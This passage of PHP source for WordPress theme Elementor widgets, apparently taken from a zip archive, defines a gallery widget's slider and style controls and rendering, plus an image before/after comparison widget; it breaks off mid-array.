				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'loop', array(
			'label'     => __( 'Slider Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'speed', array(
			'label'       => __( 'Slider Speed (at x seconds)', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 600,
			'render_type' => 'template',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
			'selectors'   => [ '{{WRAPPER}} .penci-owl-carousel' => '--pcfs-delay:calc({{VALUE}}s / 1000 - 0.1s)' ]
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show Next/Prev Buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show Dots Navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'slideTo', array(
			'label' => __( 'Start the slider from the slide Number', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->add_control( 'slidespg', array(
			'label' => __( 'Slides Per Group', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
			'condition' => array( 'gallery_style' => array( 'single-slider' ) ),
		) );
		$this->end_controls_section();
		
		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Gallery', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'p_icon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-gallery-item i, {{WRAPPER}} .pcslick-nav button, {{WRAPPER}} .slider-num' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'p_icon_size', array(
				'label'      => __( 'Icon Size', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'size_units' => array( 'px' ),
				'selectors'  => array( '{{WRAPPER}} .penci-gallery-item i, {{WRAPPER}} .pcslick-nav button i' => 'font-size: {{SIZE}}{{UNIT}};' ),
			)
		);
		$this->add_control(
			'p_overlay_bgcolor',
			array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-gallery-item a::after' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'p_bg_bgcolor',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'gallery_style' => array( 'thumbnail-slider' ) ),
				'selectors' => array( '{{WRAPPER}} .penci-post-gallery-container' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'p_bd_bgcolor',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'gallery_style' => array( 'thumbnail-slider' ) ),
				'selectors' => array( '{{WRAPPER}} .pcgl-thumb-slider' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'gallery_style' => ['thumbnail-slider','single-slider'] ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		
		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	public function get_slider_data( $settings ) {
		

		$output = '';

		
		$data_next_prev = 'yes' == $settings['shownav'] ? 'true' : 'false';
		$data_dots      = 'yes' == $settings['showdots'] ? 'true' : 'false';
		$output         .= ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';

		
		$output .= ' data-seffect="' . $settings['single_slider_effect'] . '"';
		$output .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$output .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
		$output .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
		$output .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
		$output .= $settings['slidespg'] ? ' data-slidespg="'.$settings['slidespg'].'"' : '';
		$output .= $settings['slideTo'] ? ' data-slideTo="'.$settings['slideTo'].'"' : '';

		return $output;
	}

	protected function render() {
		$settings = $this->get_settings_for_display();

		if ( ! $settings['penci_gallery'] ) {
			return;
		}

		$style_gallery        = $settings['gallery_style'];
		$penci_img_size       = $settings['penci_img_size'];
		$penci_img_size_bitem = $settings['penci_img_bitem_size'];
		$penci_img_type       = isset( $settings['penci_img_type'] ) ? $settings['penci_img_type'] : '';

		$css_class = 'penci-block-vc penci-image-gallery';
		$css_class .= ' penci-image-gallery-' . $style_gallery;

		if ( 's1' == $style_gallery ) {
			$column_desktop = isset( $settings['gallery_columns'] ) && $settings['gallery_columns'] ? $settings['gallery_columns'] : '3';
			$column_tablet  = isset( $settings['gallery_columns_tablet'] ) && $settings['gallery_columns_tablet'] ? $settings['gallery_columns_tablet'] : '2';
			$column_mobile  = isset( $settings['gallery_columns_mobile'] ) && $settings['gallery_columns_mobile'] ? $settings['gallery_columns_mobile'] : '1';
			$css_class      .= ' pencisc-grid-' . $column_desktop;
			$css_class      .= ' pencisc-grid-tablet-' . $column_tablet;
			$css_class      .= ' pencisc-grid-mobile-' . $column_mobile;
		}

		if ( 'attachment' != $settings['caption_source'] ) {
			$css_class .= ' penci-image-not-caption';
		}

		$images    = wp_list_pluck( $settings['penci_gallery'], 'id' );
		$total_img = is_array( $images ) ? count( (array) $images ) : 0;

		$slider_id      = rand( 1000, 100000 );
		$block_id       = 'penci-image_gallery_' . $slider_id;
		$thumbnail_html = '';
		?>
        <div data-sliderid="<?php echo esc_attr( $slider_id ); ?>" id="<?php echo esc_attr( $block_id ); ?>"
             class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content <?php echo esc_attr( 's1' == $style_gallery ? ' pencisc-grid' : '' ); ?>">
				<?php
				$gal_2_i = $gal_count = 0;

				if ( 's2' == $style_gallery ) {
					foreach ( $images as $image_key => $image_item ) {
						$gal_count ++;
						$gal_2_i ++;

						if ( $image_item < 0 ) {
							continue;
						}

						$class_item         = 'penci-gallery-small-item';
						$penci_img_size_pre = $penci_img_size;
						if ( $gal_count == 1 ) {
							$penci_img_size_pre = $penci_img_size_bitem;
							$class_item         = 'penci-gallery-big-item';
						}
						echo \Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size_pre, $penci_img_type, true, $gal_count, $class_item, $settings['caption_source'] );

						if ( $gal_count == 1 ) {
							echo '<div class="penci-post-smalls">';
						}

						if ( 5 == $gal_count || $gal_2_i == $total_img ) {
							$gal_count = 0;
							echo '</div>';
						}
					}
				} elseif ( 's3' == $style_gallery ) {
					foreach ( $images as $image_key => $image_item ) {
						$gal_count ++;
						$gal_2_i ++;

						if ( $image_item < 0 ) {
							continue;
						}

						$class_item = 'penci-gallery-small-item';
						if ( $gal_count == 1 || $gal_count == 2 ) {
							$penci_img_size = $penci_img_size_bitem;
							$class_item     = 'penci-gallery-big-item';
						}

						echo \Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, $class_item, $settings['caption_source'] );

						if ( 5 == $gal_count || $gal_2_i == $total_img ) {
							$gal_count = 0;
						}
					}
				} elseif ( 'justified' == $style_gallery || 'masonry' == $style_gallery || 'single-slider' == $style_gallery || 'thumbnail-slider' == $style_gallery ) {
					$data_height = '150';

					if ( is_numeric( $settings['gallery_height'] ) && 60 < $settings['gallery_height'] ) {
						$data_height = $settings['gallery_height'];
					}

					echo '<div class="penci-post-gallery-container ' . $style_gallery . ' column-' . $settings['gallery_columns'] . '" data-height="' . $data_height . '" data-margin="3">';

					if ( 'masonry' == $style_gallery ) {
						echo '<div class="inner-gallery-masonry-container">';
					}

					if ( 'single-slider' == $style_gallery ) {
						$slider_data = $this->get_slider_data($settings);
						echo '<div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible"'.$slider_data.'><div class="swiper-wrapper">';
					}

					$posts = get_posts( array(
						'include'   => $images,
						'post_type' => 'attachment',
						'orderby'   => 'post__in'
					) );

					if ( $style_gallery == 'thumbnail-slider' ):
						echo '<div data-id="pcthumb-m-' . $slider_id . '" class="penci-slick-carousel swiper pcthumb-s-msl pcthumb-m-' . $slider_id . '"><div class="swiper-wrapper">';
					endif;

					if ( $posts ) {
						foreach ( $posts as $imagePost ) {
							$caption       = '';
							$gallery_title = '';
							if ( $imagePost->post_excerpt ):
								$caption = $imagePost->post_excerpt;
							endif;

							if ( $caption && 'attachment' == $settings['caption_source'] ) {
								$gallery_title = ' data-cap="' . esc_attr( $caption ) . '"';
							}

							$get_full    = wp_get_attachment_image_src( $imagePost->ID, 'full' );
							$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-masonry-thumb' );
							$thumbsize   = 'penci-masonry-thumb';

							$image_alt        = penci_get_image_alt( $imagePost->ID, get_the_ID() );
							$image_title_html = penci_get_image_title( $imagePost->ID );

							$class_a_item = 'penci-gallery-ite';
							if ( 'masonry' != $style_gallery ) {
								$class_a_item = 'penci-gallery-ite item-gallery-' . $style_gallery;
							}

							if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' || $style_gallery == 'thumbnail-slider' ) {
								$class_a_item .= ' item-link-relative';
							}

							if ( 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
								echo '<figure class="swiper-slide">';
								$get_masonry = wp_get_attachment_image_src( $imagePost->ID, 'penci-full-thumb' );
								$thumbsize   = 'penci-full-thumb';
							}
							if ( 'masonry' == $style_gallery ) {
								echo '<div class="item-gallery-' . $style_gallery . '">';
							}
							echo '<a class="' . $class_a_item . ( 'attachment' != $settings['caption_source'] ? ' added-caption' : '' ) . '" href="' . $get_full[0] . '"' . $gallery_title . ' data-rel="penci-gallery-image-content" data-idwrap="' . esc_attr( $block_id ) . '">';

							if ( 'masonry' == $style_gallery ) {
								echo '<div class="inner-item-masonry-gallery">';
							}

							if ( $style_gallery == 'masonry' || $style_gallery == 'single-slider' || $style_gallery == 'thumbnail-slider' ) {
								echo penci_get_ratio_img_basedid( $imagePost->ID, $thumbsize );
							}

							echo '<img src="' . $get_masonry[0] . '" alt="' . $image_alt . '"' . $image_title_html . '>';

							if ( $style_gallery == 'justified' && $caption && 'attachment' == $settings['caption_source'] ) {
								echo '<div class="caption">' . wp_kses( $caption, array(
										'em'     => array(),
										'strong' => array(),
										'b'      => array(),
										'i'      => array()
									) ) . '</div>';
							}
							if ( 'masonry' == $style_gallery ) {
								echo '</div>';
							}

							echo '</a>';

							// Close item-gallery-' . $style_gallery . '-wrap
							if ( 'masonry' == $style_gallery ) {
								echo '</div>';
							}

							if ( 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
								if ( $caption && 'attachment' == $settings['caption_source'] ) {
									echo '<p class="penci-single-gallery-captions">' . $caption . '</p>';
								}
								echo '</figure>';
							}

							if ( $style_gallery == 'thumbnail-slider' ) {
								$get_thumbnail_slider_img = wp_get_attachment_image_src( $imagePost->ID, 'thumbnail' );
								$thumbnail_html           .= '<div class="pcgl-thumb-item swiper-slide"><div class="pcgl-thumb-item-img"><span class="penci-image-holder" style="background-image:url(' . $get_thumbnail_slider_img[0] . ')"></div></div>';
							}
						}
					}

					if ( 'masonry' == $style_gallery || 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
						echo '</div>';
					}

					if ( 'single-slider' == $style_gallery || $style_gallery == 'thumbnail-slider' ) {
						echo '</div>';
					}

					if ($style_gallery == 'thumbnail-slider') {
						$nav = '<div class="penci-slick-carousel-top-nav"><div class="pcslick-nav-area"><div class="pcslick-nav"><button type="button" class="slick-prev"><i class="penciicon-left-chevron"></i></button><button type="button" class="slick-next"><i class="penciicon-right-chevron"></i></button></div><div class="slider-num"><span class="current">1</span>' . __(' of ', 'soledad') . '<span class="total">' . count($posts) . '</span></div></div></div>';
						echo '<div data-cols="7" data-total="'.count($posts).'" data-id="pcthumb-c-' . $slider_id . '" class="swiper pcthumb-s-csl pcgl-thumb-slider penci-slick-carousel pcthumb-c-' . $slider_id . '"><div class="swiper-wrapper">' . $thumbnail_html . '</div>'.$nav.'</div>';
					}

					echo '</div>';
				} else {
					foreach ( $images as $image_key => $image_item ) {
						$gal_count ++;
						$gal_2_i ++;

						if ( $image_item < 0 ) {
							continue;
						}
						echo \Penci_Vc_Helper::get_image_holder_gal( $image_item, $penci_img_size, $penci_img_type, true, $gal_count, '', $settings['caption_source'] );
					}
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     N\$1j  j  4  inc/elementor/modules/penci-image-compare/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciImageCompare;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-image-compare';
	}

	public function get_widgets() {
		return array( 'PenciImageCompare' );
	}
}
PK     N\Ku/  /  I  inc/elementor/modules/penci-image-compare/widgets/penci-image-compare.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciImageCompare\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciImageCompare extends Base_Widget {

	public function get_name() {
		return 'penci-image-compare';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Compare Before/After', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'image', 'compare', 'comparison', 'difference' ];
	}

	public function get_script_depends() {
		return [ 'penci-image-compare' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content_layout',
			[
				'label' => esc_html__( 'Layout', 'soledad' ),
			]
		);

		$this->add_control(
			'before_image',
			[
				'label'       => esc_html__( 'Before Image', 'soledad' ),
				'description' => esc_html__( 'Use same size image for before and after for better preview.', 'soledad' ),
				'type'        => Controls_Manager::MEDIA,
				'default'     => [
					'url' => \Elementor\Utils::get_placeholder_image_src(),
				],
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->add_control(
			'after_image',
			[
				'label'       => esc_html__( 'After Image', 'soledad' ),
				'description' => esc_html__( 'Use same size image for before and after for better preview.', 'soledad' ),
				'type'        => Controls_Manager::MEDIA,
				'default'     => [
					'url' => \Elementor\Utils::get_placeholder_image_src(),
				],
				'dynamic'     => [ 'active' => true ],
			]
		);


		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'    => 'thumbnail_size',
				'label'   => __( 'Image Size', 'soledad' ),
				'exclude' => [ 'custom' ],
				'default' => 'full',
			]
		);

		$this->add_responsive_control(
			'img_ratio',
			[
				'label'       => esc_html__( 'Customize Compare Area Height', 'soledad' ),
				'description' => esc_html__( 'The image is dynamically cropped using the CSS background "cover" property.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'label_block' => true,
				'render_type' => 'template',
				'size_units'  => [ 'px', 'em', 'rem', 'vh' ],
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .image-compare' => 'width: 100%; height: {{SIZE}}{{UNIT}};'
				)
			]
		);

		$this->add_control(
			'before_label',
			[
				'label'       => esc_html__( 'Before Label', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'placeholder' => esc_html__( 'Before Label', 'soledad' ),
				'default'     => esc_html__( 'Before', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->add_control(
			'after_label',
			[
				'label'       => esc_html__( 'After Label', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'placeholder' => esc_html__( 'After Label', 'soledad' ),
				'default'     => esc_html__( 'After', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_additional_settings',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_control(
			'orientation',
			[
				'label'   => esc_html__( 'Orientation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'horizontal',
				'options' => [
					'horizontal' => esc_html__( 'Horizontal', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'default_offset_pct',
			[
				'label'   => esc_html__( 'Before Image Visiblity', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 70,
				],
				'range'   => [
					'px' => [
						'max' => 100,
						'min' => 0,
					],
				],
			]
		);

		$this->add_control(
			'no_overlay',
			[
				'label'       => esc_html__( 'Overlay', 'soledad' ),
				'description' => esc_html__( 'Do not show the overlay with before and after.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => 'yes',
				'separator'   => 'before'
			]
		);

		$this->add_control(
			'on_hover',
			[
				'label'     => esc_html__( 'On Hover?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [
					'no_overlay' => 'yes'
				]
			]
		);

		$this->add_control(
			'move_slider_on_hover',
			[
				'label'       => esc_html__( 'Slide on Hover', 'soledad' ),
				'description' => esc_html__( 'Move slider on mouse hover?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'separator'   => 'before'
			]
		);

		$this->add_control(
			'add_circle',
			[
				'label'     => esc_html__( 'Enable Circle In Bar', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			]
		);

		$this->add_control(
			'add_circle_blur',
			[
				'label'     => esc_html__( 'Enable Circle Blur', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'add_circle' => 'yes'
				],
			]
		);

		$this->add_control(
			'add_circle_shadow',
			[
				'label'     => esc_html__( 'Enable Circle Shadow', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'add_circle' => 'yes'
				],
			]
		);

		$this->add_control(
			'smoothing',
			[
				'label'     => esc_html__( 'Enable Smoothing', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'smoothing_amount',
			[
				'label'     => esc_html__( 'Smoothing Amount', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 400,
				],
				'range'     => [
					'px' => [
						'max'  => 1000,
						'min'  => 100,
						'step' => 10,
					],
				],
				'condition' => [
					'smoothing' => 'yes'
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_style',
			[
				'label' => esc_html__( 'Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'overlay_color',
			[
				'label'     => esc_html__( 'Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .penciimg-compare-overlay:before' => 'background: {{VALUE}};',
				],
				'condition' => [
					'no_overlay' => 'yes'
				]
			]
		);

		$this->start_controls_tabs( 'tabs_image_compare_style' );

		$this->start_controls_tab(
			'tab_image_compare_before_style',
			[
				'label' => esc_html__( 'Before', 'soledad' ),
			]
		);

		$this->add_control(
			'before_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-before' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'before_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-before' => 'color: {{VALUE}};',
				],
			]
		);


		$this->end_controls_tab();


		$this->start_controls_tab(
			'tab_image_compare_after_style',
			[
				'label' => esc_html__( 'After', 'soledad' ),
			]
		);

		$this->add_control(
			'after_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-after' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'after_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-after' => 'color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_image_compare_bar_style',
			[
				'label' => esc_html__( 'Bar', 'soledad' ),
			]
		);

		$this->add_control(
			'bar_color',
			[
				'label'   => esc_html__( 'Bar Color', 'soledad' ),
				'type'    => Controls_Manager::COLOR,
				'default' => '#fff',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();


		$this->add_responsive_control(
			'after_before_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penciimg-compare .icv__label' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_control(
			'after_before_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penciimg-compare .icv__label' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'after_before_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penciimg-compare .icv__label',
			]
		);

		$this->end_controls_section();

	}

	public function render() {
		$settings = $this->get_settings_for_display();

		if ( $settings['default_offset_pct']['size'] < 1 ) {
			$settings['default_offset_pct']['size'] = $settings['default_offset_pct']['size'] * 100;
		}

		$settings_arg = [
			'id'                   => 'image-compare-' . $this->get_id(),
			'default_offset_pct'   => $settings['default_offset_pct']['size'],
			'orientation'          => ( $settings['orientation'] == 'horizontal' ) ? false : true,
			'before_label'         => $settings['before_label'],
			'after_label'          => $settings['after_label'],
			'no_overlay'           => ( 'yes' == $settings['no_overlay'] ) ? true : false,
			'on_hover'             => ( 'yes' == $settings['on_hover'] ) ? true : false,
			'move_slider_on_hover' => ( 'yes' == $settings['move_slider_on_hover'] ) ? true : false,
			'add_circle'           => ( 'yes' == $settings['add_circle'] ) ? true : false,
			'add_circle_blur'      => ( 'yes' == $settings['add_circle_blur'] ) ? true : false,
			'add_circle_shadow'    => ( 'yes' == $settings['add_circle_shadow'] ) ? true : false,
			'smoothing'            => ( 'yes' == $settings['smoothing'] ) ? true : false,
			'smoothing_amount'     => $settings['smoothing_amount']['size'],
			'bar_color'            => $settings['bar_color'],
			'fluidMode'            => isset( $settings['img_ratio']['size'] ) && $settings['img_ratio']['size'] ? true : false,
		];

		$this->add_render_attribute(
			[
				'image-compare' => [
